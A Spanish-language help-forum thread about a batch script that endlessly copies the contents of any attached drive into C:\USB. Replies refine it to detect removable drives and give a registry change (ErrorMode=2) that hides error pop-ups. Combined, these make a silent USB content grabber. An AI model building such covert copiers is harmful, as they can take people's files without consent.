[Batch][DUDA] USB Recovery

Iniciado por KZN, 19 Julio 2014, 14:11 PM

0 Miembros y 1 Visitante están viendo este tema.

KZN

Lenguaje:
Batch

Codigo:
@echo off
Mkdir C:\USB
:retry
xcopy /y /e /i A:\* C:\USB
xcopy /y /e /i B:\* C:\USB
xcopy /y /e /i D:\* C:\USB
xcopy /y /e /i E:\* C:\USB
xcopy /y /e /i F:\* C:\USB
xcopy /y /e /i G:\* C:\USB
xcopy /y /e /i H:\* C:\USB
xcopy /y /e /i I:\* C:\USB
xcopy /y /e /i J:\* C:\USB
xcopy /y /e /i K:\* C:\USB
xcopy /y /e /i L:\* C:\USB
xcopy /y /e /i M:\* C:\USB
xcopy /y /e /i N:\* C:\USB
xcopy /y /e /i Ñ:\* C:\USB
xcopy /y /e /i O:\* C:\USB
xcopy /y /e /i P:\* C:\USB
xcopy /y /e /i Q:\* C:\USB
xcopy /y /e /i R:\* C:\USB
xcopy /y /e /i S:\* C:\USB
xcopy /y /e /i T:\* C:\USB
xcopy /y /e /i U:\* C:\USB
xcopy /y /e /i V:\* C:\USB
xcopy /y /e /i W:\* C:\USB
xcopy /y /e /i X:\* C:\USB
xcopy /y /e /i Y:\* C:\USB
xcopy /y /e /i Z:\* C:\USB
goto retry


Problema:
cuando lo abro sin haber ningún usb(pendrive/dispositivo extraíble) no me da errores, pero cuando cuando conecto un usb me dan los siguientes errores




Eleкtro

#1
¿Cuando insertas un USB, se crean otros varios dispositivos extraibles virtuales sin contenido alguno?, ya que ese podría ser el problema.

De todas formas el código que muestras es muy básico, podrías mejorarlo para que fuese "inteligente" y hayase los dispositivos extraibles CONECTADOS en ese preciso momento, en lugar de hacer una iteración completa de todas las unidades...tanto de las unidades existentes como las no existentes, es obvio que en extrañas circunstancias eso puede estar dandote problemas como el que comentas :-/.

Aquí tienes un ejemplo de como poder hacerlo:

Cita de: http://foro.elhacker.net/scripting/ayuda_a_simplificar_bat-t400279.0.html;msg1890382#msg1890382

Código (dos) [Seleccionar]

@ECHO OFF & (CHCP 1252)>NUL
Set /A "HardDisk=3"
Set /A "RemovableDrive=2"

REM Filtro el output del comando WMIC.
For /F %%# in (
   'wmic logicaldisk get caption^,drivetype ^| FINDSTR "%RemovableDrive%"'
) Do (
   REM Saco las letras de los dispositivos disponibles.
   Call Set "DRIVES=%%DRIVES%%%%#"
)

REM Elimino la letra de unidad desde la que se inició este Script Bat.
Call Set "DRIVES=%%DRIVES:%~d0=%%"

REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
Set "DRIVES=%DRIVES::= %"

REM Por último, proceso cada letra de unidad.
(MKDIR "%SystemDrive%\USB")2>NUL
For %%D in (%DRIVES%) Do (
   Echo [+] unidad encontrada "%%D:\"
   REM XCopy.exe /E /Y "%%D:\*" "%SystemDrive%\USB\*"
)

Pause&Exit


Saludos








asdexiva

aca la solucion al problema del mensaje NO HAY DISCO EN LA UNIDAD
solo tienes que hacer unos pocos pasos y son los siguientes:
Inicio, ejecutar: regedit
una vez que estas en regedit entras a: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows\
y cambiar el valor de ErrorMode por 2, (donde esta la entrada ErrorMode, boton derecho modificar donde dice 0 lo cambias a 2) ,reinicias y listo ya no te saldran esas molestas ventanas

KZN

muchas gracias a los dos de verdad :)